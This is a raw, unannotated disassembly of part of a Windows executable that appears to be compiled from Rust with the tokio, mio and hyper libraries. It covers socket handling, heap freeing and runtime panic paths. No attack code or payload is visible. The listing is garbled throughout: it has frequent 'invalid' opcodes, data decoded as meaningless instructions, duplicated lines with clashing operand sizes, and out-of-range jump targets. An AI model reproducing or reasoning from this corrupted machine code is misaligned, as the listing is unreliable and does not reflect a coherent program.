call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5b730
adc eax, 0x5b730
xor byte [rdi - 0x74b7fffb], dh
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0xf0]
mov qword [rax], rbp
mov qword [rax + 8], r15
mov dword [rax + 8], edi
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
sub byte [rcx + rcx*4 + 0x78], cl
mov dword [rax + 8], edi
mov qword [rax + 0x10], rdi
mov dword [rax + 8], edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], rbx
invalid
mov al, 1
mov byte [rsi + 0x378], al
js 0x1400b7c54
add byte [rax], al
add rsp, 0x2a8
add esp, 0x2a8
add al, byte [rax]
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
call fcn.1401082c0
invalid
mov ecx, 1
mov edx, 0x11
call fcn.1401082a0
sbb eax, dword [rsi]
add eax, 0xd8d4800
invalid
movsb byte [rdi], byte [rsi]
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
sub dword [rcx], ecx
add byte [rbp + rcx*4 + 5], cl
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
xchg esi, eax
or byte [rax], al
call fcn.140108b60
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x120], rax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
invalid
mov bh, 0xe
add eax, 0x58d4800
invalid
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
and al, 0x30
mov qword [rsp + 0x130], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
cmp byte [rcx], al
add byte [rax], al
and al, 0x30
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi], ah
invalid
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x120]
call fcn.140108560
add dword [rax], eax
add al, ch
jno 0x1400b7cf5
or byte [0x1400d35f2], al
add eax, 0x1b900
mov ecx, 1
add byte [rax], al
mov edx, 0xe
invalid
add byte [rax], al
call fcn.1401082a0
mov ecx, 1
mov edx, 0x19
call fcn.1401082a0
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x14
call fcn.1401082a0
ud2
sub eax, 0x480005b8
add ecx, 0x98
add rcx, 0x98
jmp 0x1400b8390
or dword [rax - 0x7d000000], 0x107403f8
add byte [rax], al
add byte [rbx + 0x107403f8], al
test eax, eax
jne 0x1400b7d7a
mov rcx, qword [rcx + 0x30]
jmp qword [sym.imp.ws2_32.dll_closesocket]
invalid
invalid
invalid
invalid
invalid
mov eax, 0x48c30005
add ecx, 0x40
ret
jmp 0x1400b8300
add byte [rax - 0x7f], cl
ror eax, 0
add byte [rax], al
jmp 0x1400b8300
add byte [rsi + 0x57], dl
push rbx
sub rsp, 0x20
movzx eax, byte [rcx + 0x9f0]
cmp rax, 6
ja case.0x1400b7db9.1
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x140178a98]
or al, 0xc
add byte [rax + 0x63], cl
add al, 0x81
or al, 0xc
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
cmp qword [rsi + 0xb0], 0
je 0x1400b7ddb
mov r8, qword [rsi + 0xa0]
mov rcx, qword [0x140182260]
or al, 0
add byte [rax - 0x75], cl
or eax, 0xca48d
or al, 0
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov ch, 5
invalid
test dword [rbp + 0x3e830005], esi
add cl, byte [rdi]
test bh, ch
add al, byte [rax]
add byte [rax - 0x77], cl
int1
cmp dword [rsi], 2
je case.0x1400b7db9.1
mov rcx, rsi
call fcn.1400ec890
add rax, qword [rax]
add byte [rax - 0x73], cl
or byte [rax - 0x7d], r9b
add byte ds:[rdi], cl
test byte [rdx + rax - 0x74b80000], ch
add eax, esi
lock dec qword [rax]
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x1400b80a6
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b80b4
call fcn.140068890
jmp 0x1400b80b4
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rsi + 0xa08], 0
je 0x1400b7e3e
mov r8, qword [rsi + 0xa00]
cmp qword [rsi + 0xa08], 0
je 0x1400b7e3e
mov r8, qword [rsi + 0xa00]
mov rcx, qword [0x140182260]
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0xa10]
test rdi, rdi
je 0x1400b7f18
mov rbx, qword [rsi + 0xa18]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b7f18
cmp qword [rbx + 0x10], 0x11
jb 0x1400b7e70
invalid
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
jmp 0x1710b8b1b
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b7f18
call fcn.1400b7d20
mov r8, qword [rsi + 0xa18]
test r8, r8
je 0x1400b807c
test ah, cl
add dword [rax], eax
invalid
test ah, cl
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esi, 0xa20
cmp qword [rsi + 0xa20], 0
je 0x1400b7ec9
and byte [rdx], cl
add byte [rax], al
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140182260]
or al, 0
mov rcx, qword [0x140182260]
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add eax, 0xbe8b4800
sub byte [rdx], cl
add byte [rax], al
mov rdi, qword [rsi + 0xa28]
test rdi, rdi
je 0x1400b807c
mov rbx, qword [rsi + 0xa30]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b807c
cmp qword [rbx + 0x10], 0x11
jb 0x1400b7efb
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
jmp 0x1400b8076
invalid
add byte [rax - 0x73], cl
invalid
mov byte [rsi + 0x9f1], 0
lea rcx, [rsi + 0x950]
call fcn.1400ec890
lea rcx, [rsi + 0x958]
cmp qword [rsi + 0x950], 0
je 0x1400b7f4c
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b7f5a
call fcn.140068890
jmp 0x1400b7f5a
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b7f5a
call fcn.140069420
mov rax, qword [rsi + 0x998]
test rax, rax
invalid
je 0x1400b7f70
sal byte [rdx + rcx + 0x48], 0x8b
mov fs, word [rax - 0xfffff7]
push rax
sbb byte [rax + 0x948be], al
add byte [rbx], al
mov rcx, qword [rsi + 0x9a0]
call qword [rax + 0x18]
cmp byte [rsi + 0x948], 3
jne 0x1400b7fe6
lea rcx, [rsi + 0x7c0]
call fcn.1400b7d20
mov r8, qword [rsi + 0x5f0]
test r8, r8
je 0x1400b7fe6
cmp qword [rsi + 0x5f8], 0
je 0x1400b7faa
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x600]
test rdi, rdi
je 0x1400b7fe6
add al, 0x48
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5c8], 3
jne 0x1400b805c
lea rcx, [rsi + 0x440]
call fcn.1400b7d20
mov r8, qword [rsi + 0x270]
test r8, r8
je 0x1400b805c
cmp qword [rsi + 0x278], 0
je 0x1400b8020
add byte [rdx], 0
add byte [rax - 0x7b], cl
push qword [rax + rsi + 0x48]
mov ebx, dword [rsi + 0x288]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b805c
cmp qword [rbx + 0x10], 0x11
jb 0x1400b804a
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x230], 0
je 0x1400b807c
mov r8, qword [rsi + 0x220]
mov eax, dword [rsi + 0x220]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax + 0x178], bh
mov eax, 0x178
cmp qword [rsi + 0x188], 0
je case.0x1400b7db9.1
mov r8, qword [rsi + rax]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400b80b4
call fcn.140069420
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400b80c4
mov rcx, qword [rsi + 0x50]
push rax
call qword [rax + 0x18]
mov eax, 0x70
cmp qword [rsi + 0x80], 0
jne 0x1400b808b
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
enter 0, 0
call fcn.1400b7d90
cmp byte [rsi + 0x60], 2
jae 0x1400b826d
jmp 0x1400b8295
add eax, 0xcfe900
add byte [rax], al
cmp byte [rsi], 2
jb 0x1400b8199
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsi + 0x10]
mov ebx, 0x40
mov r14d, 0x38
mov edi, 0x48
mov r15d, 0x30
mov r8d, 0x20
mov edx, 0x18
mov ecx, 0x28
jmp 0x1400b82bf
mov rdi, qword [rsi + 0x68]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsi + 0x70]
mov ebx, 0xa0
mov r14d, 0x98
mov edi, 0xa8
mov r15d, 0x90
mov r8d, 0x80
mov edx, 0x78
mov ecx, 0x88
mov rax, qword [rax]
add rcx, rsi
mov rdx, qword [rsi + rdx]
mov r8, qword [rsi + r8]
call qword [rax + 0x10]
mov rax, qword [rsi + r15]
mov rax, qword [rax + 0x10]
add rdi, rsi
mov rdx, qword [rsi + r14]
mov r8, qword [rsi + rbx]
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp rax
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx eax, byte [rcx + 0x40]
test eax, eax
je 0x1400b8324
cmp eax, 3
jne 0x1400b8385
add rcx, 0x10
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400ad770
mov rsi, qword [rcx + 8]
test rsi, rsi
je 0x1400b8374
mov rbx, rcx
lea rdi, [rsi + 8]
mov rcx, qword [rsi + 8]
call fcn.140047920
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400b834e
mov rcx, rsi
call fcn.1400396e0
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400b835f
mov rcx, rdi
call fcn.1400e4e50
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbx
mov rcx, qword [rcx]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.ws2_32.dll_closesocket]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push rsi
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0xe8]
cmp eax, 3
je 0x1400b83b7
test eax, eax
jne 0x1400b83c3
mov rcx, qword [rsi + 0x90]
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400b83c3
lea rcx, [rsi + 0xa0]
call 0x1400b8300
mov rcx, rsi
call fcn.1400ec890
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x1400b83e5
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b83f3
call fcn.140068890
jmp 0x1400b83f3
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b83f3
call fcn.140069420
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400b8409
mov rcx, qword [rsi + 0x50]
add rsp, 0x20
pop rsi
jmp qword [rax + 0x18]
nop
add rsp, 0x20
pop rsi
ret
mov rax, qword [rsp + 0x108]
lock dec qword [rax]
jne 0x1400b89d2
call fcn.1400e4140
jmp 0x1400b89d2
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
lock dec qword [r13]
jne 0x1400b89a3
mov rcx, r13
call fcn.140039860
mov r13, qword [rsp + 0x68]
lea rcx, [rsp + 0x108]
cmp qword [rsp + 0x100], 0
jne 0x1400b87b1
mov rax, qword [rsp + 0x108]
lock dec qword [rax]
jne 0x1400b89d2
call fcn.1400e4080
test r15, r15
je 0x1400b8a18
lea rbx, [r15 + 8]
mov rcx, qword [r15 + 8]
call fcn.140047920
mov rax, qword [r15]
lock dec qword [rax]
jne 0x1400b89f5
mov rcx, r15
call fcn.1400396e0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400b8a06
mov rcx, rbx
call fcn.1400e4e50
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r12
call qword [sym.imp.ws2_32.dll_closesocket]
mov byte [r13], 1
mov ebx, 2
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x180], xmm0
mov rcx, r14
call 0x1400b8300
mov qword [rdi], rbx
mov qword [rdi + 8], rbp
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rdi + 0x10], xmm0
mov rax, qword [rsp + 0x190]
mov qword [rdi + 0x20], rax
mov al, 1
mov byte [rsi + 0x78], al
movaps xmm6, xmmword [rsp + 0x1f0]
add rsp, 0x208
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r12d, r12d
movzx eax, byte [rbp + 0x21]
test al, al
jne 0x1400b8f88
mov qword [rsp + 0x170], rbx
mov byte [rsp + 0x178], r12b
lea rdx, [rbp + 0x28]
mov rax, qword [rbp + 0x38]
test rax, rax
mov qword [rsp + 0x60], rbp
je 0x1400b8b35
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx + rax*8 - 8]
mov rax, qword [rax]
cmp rax, 0x21
jb 0x1400b8b8a
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
call fcn.140047aa0
mov rbp, rax
test rax, rax
je 0x1400b8b8a
test r12b, r12b
jne 0x1400b8b66
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400b90c8
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
jne 0x1400b8994
mov rbp, qword [rsp + 0x60]
mov rax, qword [rbp + 0x38]
test rax, rax
je 0x1400b91a7
mov rcx, qword [rbp + 0x30]
mov rax, qword [rcx + rax*8 - 8]
mov qword [rsp + 0x140], rax
lock inc qword [rax]
jle 0x1400b90e3
test r12b, r12b
jne 0x1400b8bcf
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400b90b2
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov r12, qword [rsp + 0x50]
jne 0x1400b8be5
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x110], 0
xorps xmm6, xmm6
movups xmmword [rsp + 0x38], xmm6
lea rbx, [rsp + 0x110]
mov qword [rsp + 0x30], rbx
lea rbp, [rsp + 0x78]
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x28], 8
mov rcx, r12
mov edx, 0x48000022
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b8e80
mov r12, qword [rsp + 0x78]
movzx eax, byte [0x140182310]
mov edx, 0x78
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b92b5
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov word [rax + 0x10], 0
mov dword [rax + 0x18], 0
mov rax, qword [rsp + 0x140]
mov qword [rbx + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbx + 0x28], xmm0
movups xmmword [rbx + 0x38], xmm0
movups xmmword [rbx + 0x48], xmm0
mov qword [rbx + 0x58], r12
movups xmmword [rbx + 0x60], xmm0
mov word [rbx + 0x70], 0
mov dl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], dl
jne 0x1400b9057
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
mov rbp, qword [rsp + 0x60]
jne 0x1400b9067
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400b9096
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400b8d0c
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov rcx, rbp
mov ebp, eax
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x110], 0
movups xmmword [rsp + 0x38], xmm6
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 8
mov rcx, r12
mov edx, 0x4800001c
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b8ee2
mov rax, r12
mov r12, qword [rsp + 0x78]
cmp r12, rax
jne 0x1400b8c42
jmp 0x1400b8ee8
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
mov edx, 0x4800001d
sbb eax, 0x45480000
xor eax, eax
sbb eax, 0x45480000
xor eax, eax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b8fbe
invalid
invalid
add byte [rax], al
invalid
test byte [rcx + 0x4c000000], al
mov esp, dword [rsp + 0x78]
mov r12, qword [rsp + 0x78]
cmp r12, rbx
lea rax, [rsp + 0x110]
add byte [rdi], cl
test edi, ebp
cld
invalid
invalid
add byte [rdi], cl
test edi, ebp
cld
invalid
jmp 0x1400b8fcc
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400b8af2
call fcn.1401105f0
mov r12d, eax
jnp 0x1400b8fe9
add eax, 0xc4894100
xor r12b, 1
movzx eax, byte [rbp + 0x21]
test al, al
je 0x1400b8b01
sti
invalid
invalid
sti
invalid
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x80], r12b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013c0a0]
xor byte [rax], cl
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
xor byte [rax], cl
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
mov edx, 0x2b
call fcn.1401088e0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
mov edx, 0x4800001b
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x1400b902d
mov r12, qword [rsp + 0x78]
cmp r12, rbx
jne 0x1400b8c42
jmp 0x1400b9033
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rbp, 0x20
or rbp, 2
mov rcx, qword [rsp + 0x140]
lock dec qword [rcx]
dec dword [rcx]
dec dword [rcx]
jne 0x1400b898a
call fcn.140047690
jmp 0x1400b898a
mov r12, rcx
call fcn.140110530
je 0x1400b9063
add byte [rcx + rcx*4 - 0x1f], cl
je 0x1400b9063
add byte [rcx + rcx*4 - 0x1f], cl
jmp 0x1400b8cbc
push rbp
cld
invalid
jne 0x1400b9073
add byte [rdi], cl
mov dh, 0x4b
adc dword [rcx + rcx*8 + 0x292850f], eax
add byte [rax], al
test cl, cl
jne 0x1400b930d
mov dword [rbx + 0x68], 0x19d
mov qword [rbx + 0x60], r14
test al, al
mov rcx, r12
jne 0x1400b8ceb
jmp 0x1400b8cfe
dec dword [rcx - 0x77]
int3
mov r12, rcx
call fcn.1401105f0
add eax, 0xe1894c00
add eax, 0xe1894c00
test al, al
jne 0x1400b8cfe
push rbp
cld
invalid
invalid
push rbp
cld
invalid
mov byte [rbx + 0x11], 1
jmp 0x1400b8cfe
add ecx, ebp
cld
invalid
call fcn.1401105f0
test al, al
jne 0x1400b8bcf
mov byte [rbp + 0x21], 1
jmp 0x1400b8bcf
call fcn.1401105f0
test al, al
jne 0x1400b8b66
mov rax, qword [rsp + 0x60]
mov byte [rax + 0x21], 1
jmp 0x1400b8b66
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
add byte [rbx + 0xc921d0d], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0x78], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
or byte [0xcd539123], bh
and al, 0x78
or byte [0xcd539123], bh
and al, 0x78
call fcn.14010dd60
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
mov edx, 0x68
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_socket.rs
call fcn.140108b60
inc dword [rax + rcx - 0x5e51800]
add al, 0
mov al, 1
mov byte [rsp + 0x78], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
lea rcx, [rsp + 0x78]
call fcn.14010dd60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
call fcn.140108b60
mov ecx, 0x80
mov edx, 0x100
call fcn.1401082c0
int1
add al, 0
int1
add al, 0
mov qword [rsp + 0x78], 0
lea rcx, [rbx + r12]
add rcx, 0x40
lea rdx, [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
and al, 0x10
add dword [rax], eax
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
call fcn.140111cd0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140108970
lea rax, [rsp + 0x70]
mov qword [rsp + 0x1c0], rax
mov dword [rsp + 0x1c0], eax
mov dword [rsp + 0x1c0], eax
lea rax, [0x140047d00]
mov qword [rsp + 0x1c8], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x1d0], rax
lea rax, [0x140047df0]
lea eax, [0x140047df0]
lea eax, [0x140047df0]
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x98], 0
movabs rax, 0x400000020
mov qword [rsp + 0xa0], rax
mov byte [rsp + 0xa8], 3
mov qword [rsp + 0xb0], 2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add dh, al
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rbx], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add dh, al
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rbx], al
lea rax, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
sbb byte [rcx], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x130], rax
and al, 0x30
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz], ah
and byte [rcx], al
add byte [rax], al
invalid
and al, 0x30
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz], ah
and byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
and byte [rcx], al
add byte [rax], al
invalid
mov qword [rsp + 0x128], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
lea rcx, [rsp + 0x110]
call fcn.140108560
mov ecx, 8
add byte [rax], al
mov edx, 0x78
call fcn.1401082c0
out dx, eax
add al, 0
out dx, eax
add al, 0
mov r12, rcx
xor eax, eax
mov qword [rsp + 0x78], r12
and al, 0x78
mov byte [rsp + 0x80], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013c0c0]
lea r8, [rsp + 0x78]
and al, 0x78
and al, 0x78
mov edx, 0x2b
call fcn.1401088e0
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
xor al, 1
jmp 0x1400b92c9
int3
add byte [rdx + 0x18], bh
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
retf
add al, byte gs:[rax]
test rax, rax
je 0x1400b9369
mov qword [rax], 1
lea rcx, [0x14013dc30]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x16
inc rax
add rsp, 0x30
pop rbp
ret
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add byte [rax], al
call fcn.1401082c0
ud2
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013dc30]
mov ecx, 1
call fcn.1400dd190
nop
add rsp, 0x20
pop rbp
ret
mov eax, dword [rdx + 0x28]
lea rdx, [0x14014212c]
mov r8d, 7
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x31], 0
xor dword [rax], eax
